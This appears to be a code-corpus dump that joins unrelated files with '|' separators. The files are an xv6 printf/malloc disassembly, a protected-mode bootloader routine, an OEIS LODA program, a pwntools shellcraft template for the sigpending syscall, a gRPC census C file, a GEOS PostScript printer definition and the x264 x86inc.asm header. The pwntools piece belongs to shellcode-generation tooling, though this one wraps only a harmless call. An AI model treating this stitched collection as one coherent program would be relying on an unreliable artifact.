c = fmt[i] & 0xff;
623: 8b 55 0c mov 0xc(%ebp),%edx
626: 8b 45 f0 mov -0x10(%ebp),%eax
629: 01 d0 add %edx,%eax
62b: 0f b6 00 movzbl (%eax),%eax
62e: 0f be c0 movsbl %al,%eax
631: 25 ff 00 00 00 and $0xff,%eax
636: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
639: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
63d: 75 2c jne 66b <printf+0x6a>
if(c == '%'){
63f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
643: 75 0c jne 651 <printf+0x50>
state = '%';
645: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
64c: e9 4a 01 00 00 jmp 79b <printf+0x19a>
} else {
putc(fd, c);
651: 8b 45 e4 mov -0x1c(%ebp),%eax
654: 0f be c0 movsbl %al,%eax
657: 89 44 24 04 mov %eax,0x4(%esp)
65b: 8b 45 08 mov 0x8(%ebp),%eax
65e: 89 04 24 mov %eax,(%esp)
661: e8 bb fe ff ff call 521 <putc>
666: e9 30 01 00 00 jmp 79b <printf+0x19a>
}
} else if(state == '%'){
66b: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
66f: 0f 85 26 01 00 00 jne 79b <printf+0x19a>
if(c == 'd'){
675: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
679: 75 2d jne 6a8 <printf+0xa7>
printint(fd, *ap, 10, 1);
67b: 8b 45 e8 mov -0x18(%ebp),%eax
67e: 8b 00 mov (%eax),%eax
680: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
687: 00
688: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
68f: 00
690: 89 44 24 04 mov %eax,0x4(%esp)
694: 8b 45 08 mov 0x8(%ebp),%eax
697: 89 04 24 mov %eax,(%esp)
69a: e8 aa fe ff ff call 549 <printint>
ap++;
69f: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6a3: e9 ec 00 00 00 jmp 794 <printf+0x193>
} else if(c == 'x' || c == 'p'){
6a8: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
6ac: 74 06 je 6b4 <printf+0xb3>
6ae: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
6b2: 75 2d jne 6e1 <printf+0xe0>
printint(fd, *ap, 16, 0);
6b4: 8b 45 e8 mov -0x18(%ebp),%eax
6b7: 8b 00 mov (%eax),%eax
6b9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
6c0: 00
6c1: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
6c8: 00
6c9: 89 44 24 04 mov %eax,0x4(%esp)
6cd: 8b 45 08 mov 0x8(%ebp),%eax
6d0: 89 04 24 mov %eax,(%esp)
6d3: e8 71 fe ff ff call 549 <printint>
ap++;
6d8: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6dc: e9 b3 00 00 00 jmp 794 <printf+0x193>
} else if(c == 's'){
6e1: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
6e5: 75 45 jne 72c <printf+0x12b>
s = (char*)*ap;
6e7: 8b 45 e8 mov -0x18(%ebp),%eax
6ea: 8b 00 mov (%eax),%eax
6ec: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
6ef: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
6f3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6f7: 75 09 jne 702 <printf+0x101>
s = "(null)";
6f9: c7 45 f4 05 0a 00 00 movl $0xa05,-0xc(%ebp)
while(*s != 0){
700: eb 1e jmp 720 <printf+0x11f>
702: eb 1c jmp 720 <printf+0x11f>
putc(fd, *s);
704: 8b 45 f4 mov -0xc(%ebp),%eax
707: 0f b6 00 movzbl (%eax),%eax
70a: 0f be c0 movsbl %al,%eax
70d: 89 44 24 04 mov %eax,0x4(%esp)
711: 8b 45 08 mov 0x8(%ebp),%eax
714: 89 04 24 mov %eax,(%esp)
717: e8 05 fe ff ff call 521 <putc>
s++;
71c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
720: 8b 45 f4 mov -0xc(%ebp),%eax
723: 0f b6 00 movzbl (%eax),%eax
726: 84 c0 test %al,%al
728: 75 da jne 704 <printf+0x103>
72a: eb 68 jmp 794 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
72c: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
730: 75 1d jne 74f <printf+0x14e>
putc(fd, *ap);
732: 8b 45 e8 mov -0x18(%ebp),%eax
735: 8b 00 mov (%eax),%eax
737: 0f be c0 movsbl %al,%eax
73a: 89 44 24 04 mov %eax,0x4(%esp)
73e: 8b 45 08 mov 0x8(%ebp),%eax
741: 89 04 24 mov %eax,(%esp)
744: e8 d8 fd ff ff call 521 <putc>
ap++;
749: 83 45 e8 04 addl $0x4,-0x18(%ebp)
74d: eb 45 jmp 794 <printf+0x193>
} else if(c == '%'){
74f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
753: 75 17 jne 76c <printf+0x16b>
putc(fd, c);
755: 8b 45 e4 mov -0x1c(%ebp),%eax
758: 0f be c0 movsbl %al,%eax
75b: 89 44 24 04 mov %eax,0x4(%esp)
75f: 8b 45 08 mov 0x8(%ebp),%eax
762: 89 04 24 mov %eax,(%esp)
765: e8 b7 fd ff ff call 521 <putc>
76a: eb 28 jmp 794 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
76c: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
773: 00
774: 8b 45 08 mov 0x8(%ebp),%eax
777: 89 04 24 mov %eax,(%esp)
77a: e8 a2 fd ff ff call 521 <putc>
putc(fd, c);
77f: 8b 45 e4 mov -0x1c(%ebp),%eax
782: 0f be c0 movsbl %al,%eax
785: 89 44 24 04 mov %eax,0x4(%esp)
789: 8b 45 08 mov 0x8(%ebp),%eax
78c: 89 04 24 mov %eax,(%esp)
78f: e8 8d fd ff ff call 521 <putc>
}
state = 0;
794: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
79b: 83 45 f0 01 addl $0x1,-0x10(%ebp)
79f: 8b 55 0c mov 0xc(%ebp),%edx
7a2: 8b 45 f0 mov -0x10(%ebp),%eax
7a5: 01 d0 add %edx,%eax
7a7: 0f b6 00 movzbl (%eax),%eax
7aa: 84 c0 test %al,%al
7ac: 0f 85 71 fe ff ff jne 623 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
7b2: c9 leave
7b3: c3 ret
000007b4 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
7b4: 55 push %ebp
7b5: 89 e5 mov %esp,%ebp
7b7: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
7ba: 8b 45 08 mov 0x8(%ebp),%eax
7bd: 83 e8 08 sub $0x8,%eax
7c0: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7c3: a1 a8 0c 00 00 mov 0xca8,%eax
7c8: 89 45 fc mov %eax,-0x4(%ebp)
7cb: eb 24 jmp 7f1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7cd: 8b 45 fc mov -0x4(%ebp),%eax
7d0: 8b 00 mov (%eax),%eax
7d2: 3b 45 fc cmp -0x4(%ebp),%eax
7d5: 77 12 ja 7e9 <free+0x35>
7d7: 8b 45 f8 mov -0x8(%ebp),%eax
7da: 3b 45 fc cmp -0x4(%ebp),%eax
7dd: 77 24 ja 803 <free+0x4f>
7df: 8b 45 fc mov -0x4(%ebp),%eax
7e2: 8b 00 mov (%eax),%eax
7e4: 3b 45 f8 cmp -0x8(%ebp),%eax
7e7: 77 1a ja 803 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7e9: 8b 45 fc mov -0x4(%ebp),%eax
7ec: 8b 00 mov (%eax),%eax
7ee: 89 45 fc mov %eax,-0x4(%ebp)
7f1: 8b 45 f8 mov -0x8(%ebp),%eax
7f4: 3b 45 fc cmp -0x4(%ebp),%eax
7f7: 76 d4 jbe 7cd <free+0x19>
7f9: 8b 45 fc mov -0x4(%ebp),%eax
7fc: 8b 00 mov (%eax),%eax
7fe: 3b 45 f8 cmp -0x8(%ebp),%eax
801: 76 ca jbe 7cd <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
803: 8b 45 f8 mov -0x8(%ebp),%eax
806: 8b 40 04 mov 0x4(%eax),%eax
809: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
810: 8b 45 f8 mov -0x8(%ebp),%eax
813: 01 c2 add %eax,%edx
815: 8b 45 fc mov -0x4(%ebp),%eax
818: 8b 00 mov (%eax),%eax
81a: 39 c2 cmp %eax,%edx
81c: 75 24 jne 842 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
81e: 8b 45 f8 mov -0x8(%ebp),%eax
821: 8b 50 04 mov 0x4(%eax),%edx
824: 8b 45 fc mov -0x4(%ebp),%eax
827: 8b 00 mov (%eax),%eax
829: 8b 40 04 mov 0x4(%eax),%eax
82c: 01 c2 add %eax,%edx
82e: 8b 45 f8 mov -0x8(%ebp),%eax
831: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
834: 8b 45 fc mov -0x4(%ebp),%eax
837: 8b 00 mov (%eax),%eax
839: 8b 10 mov (%eax),%edx
83b: 8b 45 f8 mov -0x8(%ebp),%eax
83e: 89 10 mov %edx,(%eax)
840: eb 0a jmp 84c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
842: 8b 45 fc mov -0x4(%ebp),%eax
845: 8b 10 mov (%eax),%edx
847: 8b 45 f8 mov -0x8(%ebp),%eax
84a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
84c: 8b 45 fc mov -0x4(%ebp),%eax
84f: 8b 40 04 mov 0x4(%eax),%eax
852: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
859: 8b 45 fc mov -0x4(%ebp),%eax
85c: 01 d0 add %edx,%eax
85e: 3b 45 f8 cmp -0x8(%ebp),%eax
861: 75 20 jne 883 <free+0xcf>
p->s.size += bp->s.size;
863: 8b 45 fc mov -0x4(%ebp),%eax
866: 8b 50 04 mov 0x4(%eax),%edx
869: 8b 45 f8 mov -0x8(%ebp),%eax
86c: 8b 40 04 mov 0x4(%eax),%eax
86f: 01 c2 add %eax,%edx
871: 8b 45 fc mov -0x4(%ebp),%eax
874: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
877: 8b 45 f8 mov -0x8(%ebp),%eax
87a: 8b 10 mov (%eax),%edx
87c: 8b 45 fc mov -0x4(%ebp),%eax
87f: 89 10 mov %edx,(%eax)
881: eb 08 jmp 88b <free+0xd7>
} else
p->s.ptr = bp;
883: 8b 45 fc mov -0x4(%ebp),%eax
886: 8b 55 f8 mov -0x8(%ebp),%edx
889: 89 10 mov %edx,(%eax)
freep = p;
88b: 8b 45 fc mov -0x4(%ebp),%eax
88e: a3 a8 0c 00 00 mov %eax,0xca8
}
893: c9 leave
894: c3 ret
00000895 <morecore>:
static Header*
morecore(uint nu)
{
895: 55 push %ebp
896: 89 e5 mov %esp,%ebp
898: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
89b: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
8a2: 77 07 ja 8ab <morecore+0x16>
nu = 4096;
8a4: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
8ab: 8b 45 08 mov 0x8(%ebp),%eax
8ae: c1 e0 03 shl $0x3,%eax
8b1: 89 04 24 mov %eax,(%esp)
8b4: e8 10 fc ff ff call 4c9 <sbrk>
8b9: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
8bc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
8c0: 75 07 jne 8c9 <morecore+0x34>
return 0;
8c2: b8 00 00 00 00 mov $0x0,%eax
8c7: eb 22 jmp 8eb <morecore+0x56>
hp = (Header*)p;
8c9: 8b 45 f4 mov -0xc(%ebp),%eax
8cc: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
8cf: 8b 45 f0 mov -0x10(%ebp),%eax
8d2: 8b 55 08 mov 0x8(%ebp),%edx
8d5: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
8d8: 8b 45 f0 mov -0x10(%ebp),%eax
8db: 83 c0 08 add $0x8,%eax
8de: 89 04 24 mov %eax,(%esp)
8e1: e8 ce fe ff ff call 7b4 <free>
return freep;
8e6: a1 a8 0c 00 00 mov 0xca8,%eax
}
8eb: c9 leave
8ec: c3 ret
000008ed <malloc>:
void*
malloc(uint nbytes)
{
8ed: 55 push %ebp
8ee: 89 e5 mov %esp,%ebp
8f0: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8f3: 8b 45 08 mov 0x8(%ebp),%eax
8f6: 83 c0 07 add $0x7,%eax
8f9: c1 e8 03 shr $0x3,%eax
8fc: 83 c0 01 add $0x1,%eax
8ff: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
902: a1 a8 0c 00 00 mov 0xca8,%eax
907: 89 45 f0 mov %eax,-0x10(%ebp)
90a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
90e: 75 23 jne 933 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
910: c7 45 f0 a0 0c 00 00 movl $0xca0,-0x10(%ebp)
917: 8b 45 f0 mov -0x10(%ebp),%eax
91a: a3 a8 0c 00 00 mov %eax,0xca8
91f: a1 a8 0c 00 00 mov 0xca8,%eax
924: a3 a0 0c 00 00 mov %eax,0xca0
base.s.size = 0;
929: c7 05 a4 0c 00 00 00 movl $0x0,0xca4
930: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
933: 8b 45 f0 mov -0x10(%ebp),%eax
936: 8b 00 mov (%eax),%eax
938: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
93b: 8b 45 f4 mov -0xc(%ebp),%eax
93e: 8b 40 04 mov 0x4(%eax),%eax
941: 3b 45 ec cmp -0x14(%ebp),%eax
944: 72 4d jb 993 <malloc+0xa6>
if(p->s.size == nunits)
946: 8b 45 f4 mov -0xc(%ebp),%eax
949: 8b 40 04 mov 0x4(%eax),%eax
94c: 3b 45 ec cmp -0x14(%ebp),%eax
94f: 75 0c jne 95d <malloc+0x70>
prevp->s.ptr = p->s.ptr;
951: 8b 45 f4 mov -0xc(%ebp),%eax
954: 8b 10 mov (%eax),%edx
956: 8b 45 f0 mov -0x10(%ebp),%eax
959: 89 10 mov %edx,(%eax)
95b: eb 26 jmp 983 <malloc+0x96>
else {
p->s.size -= nunits;
95d: 8b 45 f4 mov -0xc(%ebp),%eax
960: 8b 40 04 mov 0x4(%eax),%eax
963: 2b 45 ec sub -0x14(%ebp),%eax
966: 89 c2 mov %eax,%edx
968: 8b 45 f4 mov -0xc(%ebp),%eax
96b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
96e: 8b 45 f4 mov -0xc(%ebp),%eax
971: 8b 40 04 mov 0x4(%eax),%eax
974: c1 e0 03 shl $0x3,%eax
977: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
97a: 8b 45 f4 mov -0xc(%ebp),%eax
97d: 8b 55 ec mov -0x14(%ebp),%edx
980: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
983: 8b 45 f0 mov -0x10(%ebp),%eax
986: a3 a8 0c 00 00 mov %eax,0xca8
return (void*)(p + 1);
98b: 8b 45 f4 mov -0xc(%ebp),%eax
98e: 83 c0 08 add $0x8,%eax
991: eb 38 jmp 9cb <malloc+0xde>
}
if(p == freep)
993: a1 a8 0c 00 00 mov 0xca8,%eax
998: 39 45 f4 cmp %eax,-0xc(%ebp)
99b: 75 1b jne 9b8 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
99d: 8b 45 ec mov -0x14(%ebp),%eax
9a0: 89 04 24 mov %eax,(%esp)
9a3: e8 ed fe ff ff call 895 <morecore>
9a8: 89 45 f4 mov %eax,-0xc(%ebp)
9ab: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
9af: 75 07 jne 9b8 <malloc+0xcb>
return 0;
9b1: b8 00 00 00 00 mov $0x0,%eax
9b6: eb 13 jmp 9cb <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9b8: 8b 45 f4 mov -0xc(%ebp),%eax
9bb: 89 45 f0 mov %eax,-0x10(%ebp)
9be: 8b 45 f4 mov -0xc(%ebp),%eax
9c1: 8b 00 mov (%eax),%eax
9c3: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
9c6: e9 70 ff ff ff jmp 93b <malloc+0x4e>
}
9cb: c9 leave
9cc: c3 ret
|
[bits 16]
switch_to_pm:
cli ;Clear interrupts
lgdt [gdt_descriptor] ;Let it know where the GDT is located
mov eax, cr0 ;To make the switch to protected mode,
or eax, 0x1 ;We set the first bit of cr0, a control register
mov cr0, eax ;Now, we update the control register
jmp CODE_SEG:start_protected_mode ;We must perform a "long" jump so the processor
;will finish all 16-bit commands
[bits 32]
start_protected_mode:
;Now, we are finally in 32-bit proteced mode
mov ax, DATA_SEG ;In protected mode, our old segments are meaningless
mov ds, ax ;We need to point our segment registers to the
mov ss, ax ;data selector we defined in our GDT
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000 ;Update the stack position so it is at the top of free space
mov esp, ebp
call BEGIN_PM
|
; A159465: Sums of odd numbers, omitting squares.
; 3,8,15,26,39,54,71,90,111,134,161,190,221,254,289,326,365,406,449,494,541,592,645,700,757,816,877,940,1005,1072,1141,1212,1285,1360,1437,1516,1599,1684,1771,1860,1951,2044,2139,2236,2335,2436,2539,2644,2751,2860,2971,3084,3199,3316,3435,3558,3683,3810,3939,4070,4203,4338,4475,4614,4755,4898,5043,5190,5339,5490,5643,5798,5955,6114,6275,6438,6603,6770,6941,7114,7289,7466,7645,7826,8009,8194,8381,8570,8761,8954,9149,9346,9545,9746,9949,10154,10361,10570,10781,10994,11209,11426,11645,11866,12089,12316,12545,12776,13009,13244,13481,13720,13961,14204,14449,14696,14945,15196,15449,15704,15961,16220,16481,16744,17009,17276,17545,17816,18089,18364,18641,18920,19201,19484,19769,20056,20347,20640,20935,21232,21531,21832,22135,22440,22747,23056,23367,23680,23995,24312,24631,24952,25275,25600,25927,26256,26587,26920,27255,27592,27931,28272,28615,28960,29307,29656,30007,30360,30715,31072,31431,31794,32159,32526,32895,33266,33639,34014,34391,34770,35151,35534,35919,36306,36695,37086,37479,37874,38271,38670,39071,39474,39879,40286,40695,41106,41519,41934,42351,42770,43191,43614,44039,44466,44895,45326,45759,46194,46631,47070,47513,47958,48405,48854,49305,49758,50213,50670,51129,51590,52053,52518,52985,53454,53925,54398,54873,55350,55829,56310,56793,57278,57765,58254,58745,59238,59733,60230,60729,61230,61733,62238,62745,63254,63765,64278,64793,65310,65829,66350
mov $10,$0
mov $12,$0
add $12,1
lpb $12,1
clr $0,10
mov $0,$10
sub $12,1
sub $0,$12
mov $7,$0
mov $9,$0
add $9,1
lpb $9,1
mov $0,$7
sub $9,1
sub $0,$9
mov $3,$0
mov $5,2
lpb $5,1
mov $0,$3
sub $5,1
add $0,$5
sub $0,2
trn $0,1
sub $2,$2
add $2,2
lpb $0,1
sub $0,1
add $2,4
trn $0,$2
lpe
mov $1,$2
mov $6,$5
lpb $6,1
mov $4,$1
sub $6,1
lpe
lpe
lpb $3,1
mov $3,0
sub $4,$1
lpe
mov $1,$4
div $1,2
add $1,2
add $8,$1
lpe
add $11,$8
lpe
mov $1,$11
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="set"/>
<%docstring>
Invokes the syscall sigpending. See 'man 2 sigpending' for more information.
Arguments:
set(sigset_t): set
</%docstring>
${syscall('SYS_sigpending', set)}
|
/*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <grpc/census.h>
#include <grpc/grpc.h>
#include "src/core/lib/surface/api_trace.h"
#include "src/core/lib/surface/call.h"
void grpc_census_call_set_context(grpc_call* call, census_context* context) {
GRPC_API_TRACE("grpc_census_call_set_context(call=%p, census_context=%p)", 2,
(call, context));
if (context != nullptr) {
grpc_call_context_set(call, GRPC_CONTEXT_TRACING, context, nullptr);
}
}
census_context* grpc_census_call_get_context(grpc_call* call) {
GRPC_API_TRACE("grpc_census_call_get_context(call=%p)", 1, (call));
return (census_context*)grpc_call_context_get(call, GRPC_CONTEXT_TRACING);
}
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PostScript driver
FILE: qmsColorScriptf35Info.asm
AUTHOR: Jens-Michael Gross, 2 February 2001
REVISION HISTORY:
Name Date Description
---- ---- -----------
JMG 2/2/01 Initial revision parsed from other PS definitions
Falk 2015 added to the PS 2 PDF package
DESCRIPTION:
This file contains the device information for the virtual PostScript printer:
GhostScript Software RIP (color and B/W version)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
hostPrinterInfo segment resource
; info blocks
PrinterInfo < ; ---- PrinterType -------------
< PT_RASTER, BMF_MONO>,
; ---- PrinterConnections ------
< IC_NO_IEEE488,
CC_CUSTOM,
SC_NO_SCSI,
RC_NO_RS232C,
CC_NO_CENTRONICS,
FC_NO_FILE,
AC_NO_APPLETALK >,
; ---- PrinterSmarts -----------
PS_PDL,
;-------Custom Entry Routine-------
PrintEnterHostIntegration,
;-------Custom Exit Routine-------
PrintExitHostIntegration,
; ---- Mode Info Offsets -------
NULL,
NULL,
offset hostPrinter300,
NULL,
NULL,
; ---- Font Geometry -----------
NULL,
; ---- Symbol Set list -----------
NULL,
; ---- PaperMargins ------------
< PR_MARGIN_LEFT, ; Tractor Margins
PR_MARGIN_TRACTOR,
PR_MARGIN_RIGHT,
PR_MARGIN_TRACTOR >,
< PR_MARGIN_LEFT, ; ASF Margins
PR_MARGIN_TOP,
PR_MARGIN_RIGHT,
PR_MARGIN_BOTTOM >,
; ---- PaperInputOptions -------
< MF_NO_MANUAL,
TF_NO_TRACTOR,
ASF_NO_TRAY >,
; ---- PaperOutputOptions ------
< OC_COPIES, ;?
PS_REVERSE, ;?
OD_SIMPLEX, ;?
SO_NO_STAPLER,
OS_NO_SORTER,
OB_NO_OUTPUTBIN >,
;
612, ; paper width (points).
NULL, ; Main UI
NoSettingsDialogBox, ; Options UI
offset PrintEvalDummyASF ; UI eval Routine
>
;----------------------------------------------------------------------------
; Graphics modes info
;----------------------------------------------------------------------------
hostPrinter300 GraphicsProperties < 300, ; xres
300, ; yres
1, ; band height
1, ; buff height
1, ; interleaves
BMF_MONO, ; color format
NULL > ; color correct
;----------------------------------------------------------------------------
; PostScript Info
;----------------------------------------------------------------------------
; This structure holds PostScript-specific info about the printer. It
; *must* be placed directly after the hires GraphicProperties struct
PSInfoStruct <
PSFL_STANDARD_13, ; PSFontList
0x0001, ; PSLevel flags
; 9=PSL_CMYK or PSL_FILE
HOST_PRINTER_PROLOG_LEN, ; prolog length
offset hostPrinterProlog ; ptr to prolog
> ; (see pscriptConstant.def)
; this sets up a transfer function that is described in Computer
; Graphics and Applications, May 1991 issue, Jim Blinn's column.
; Basically, it corrects for the perceived darkening of greys when
; printing. The hardcoded values are empirical values arrived at
; through experimentation (see the article for details).
; also, the standard fonts are 'registered', so GhostScript will
; find them.
hostPrinterProlog label byte
char "GWDict begin", NL
char "GWDict begin", NL
char "/SDC { 85 35 currentscreen 3 1 roll pop pop setscreen", NL
char "{dup dup 0.3681 mul -1.145 add mul 1.7769 add mul}", NL
char "currenttransfer CP settransfer} bdef", NL
char "end", NL
char "/Times-Roman findfont", NL
char "/Times-Bold findfont", NL
char "/Times-Italic findfont", NL
char "/Times-BoldItalic findfont", NL
char "/Courier findfont", NL
char "/Courier-Bold findfont", NL
char "/Courier-Oblique findfont", NL
char "/Courier-BoldOblique findfont", NL
char "/Helvetica findfont", NL
char "/Helvetica-Bold findfont", NL
char "/Helvetica-Oblique findfont", NL
char "/Helvetica-BoldOblique findfont ", NL
hostPrinterEndProlog label byte
HOST_PRINTER_PROLOG_LEN equ offset hostPrinterEndProlog - offset hostPrinterProlog
hostPrinterInfo ends
|
;*****************************************************************************
;* x86inc.asm: x264asm abstraction layer
;*****************************************************************************
;* Copyright (C) 2005-2016 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Anton Mitrofanov <BugMaster@narod.ru>
;* Fiona Glaser <fiona@x264.com>
;* Henrik Gramner <henrik@gramner.com>
;*
;* Permission to use, copy, modify, and/or distribute this software for any
;* purpose with or without fee is hereby granted, provided that the above
;* copyright notice and this permission notice appear in all copies.
;*
;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;*****************************************************************************
; This is a header file for the x264ASM assembly language, which uses
; NASM/YASM syntax combined with a large number of macros to provide easy
; abstraction between different calling conventions (x86_32, win64, linux64).
; It also has various other useful features to simplify writing the kind of
; DSP functions that are most often used in x264.
; Unlike the rest of x264, this file is available under an ISC license, as it
; has significant usefulness outside of x264 and we want it to be available
; to the largest audience possible. Of course, if you modify it for your own
; purposes to add a new feature, we strongly encourage contributing a patch
; as this feature might be useful for others as well. Send patches or ideas
; to x264-devel@videolan.org .
;CHKN copy all config down here %include "aom_config.asm"
ARCH_ARM equ 0
ARCH_MIPS equ 0
ARCH_PPC equ 0
ARCH_X86 equ 0
ARCH_X86_64 equ 1
CONFIG_ACCOUNTING equ 0
CONFIG_ANALYZER equ 0
CONFIG_AV1 equ 1
CONFIG_AV1_DECODER equ 1
CONFIG_AV1_ENCODER equ 1
CONFIG_BIG_ENDIAN equ 0
CONFIG_BITSTREAM_DEBUG equ 0
CONFIG_BUFFER_MODEL equ 1
CONFIG_COEFFICIENT_RANGE_CHECKING equ 0
CONFIG_COLLECT_INTER_MODE_RD_STATS equ 0
CONFIG_COLLECT_RD_STATS equ 0
CONFIG_DEBUG equ 0
CONFIG_DECODE_PERF_TESTS equ 0
CONFIG_DIST_8X8 equ 1
CONFIG_ENCODE_PERF_TESTS equ 0
CONFIG_ENTROPY_STATS equ 0
CONFIG_FILEOPTIONS equ 1
CONFIG_FP_MB_STATS equ 0
CONFIG_GCC equ 0
CONFIG_GCOV equ 0
CONFIG_GPROF equ 0
CONFIG_INSPECTION equ 0
CONFIG_INTERNAL_STATS equ 0
CONFIG_INTER_STATS_ONLY equ 0
CONFIG_LIBYUV equ 1
CONFIG_LOWBITDEPTH equ 1
CONFIG_MISMATCH_DEBUG equ 0
CONFIG_MSVS equ 1
CONFIG_MULTITHREAD equ 1
CONFIG_OS_SUPPORT equ 1
CONFIG_PIC equ 0
CONFIG_RD_DEBUG equ 0
CONFIG_RUNTIME_CPU_DETECT equ 1
CONFIG_SHARED equ 0
CONFIG_SIZE_LIMIT equ 0
CONFIG_SPATIAL_RESAMPLING equ 1
CONFIG_STATIC equ 1
CONFIG_UNIT_TESTS equ 1
CONFIG_WEBM_IO equ 1
DECODE_HEIGHT_LIMIT equ 0
DECODE_WIDTH_LIMIT equ 0
HAVE_AVX equ 1
HAVE_AVX2 equ 1
HAVE_DSPR2 equ 0
HAVE_FEXCEPT equ 0
HAVE_MIPS32 equ 0
HAVE_MIPS64 equ 0
HAVE_MMX equ 1
HAVE_MSA equ 0
HAVE_NEON equ 0
HAVE_NEON_ASM equ 0
HAVE_PTHREAD_H equ 0
HAVE_SSE equ 1
HAVE_SSE2 equ 1
HAVE_SSE3 equ 1
HAVE_SSE4_1 equ 1
HAVE_SSE4_2 equ 1
HAVE_SSSE3 equ 1
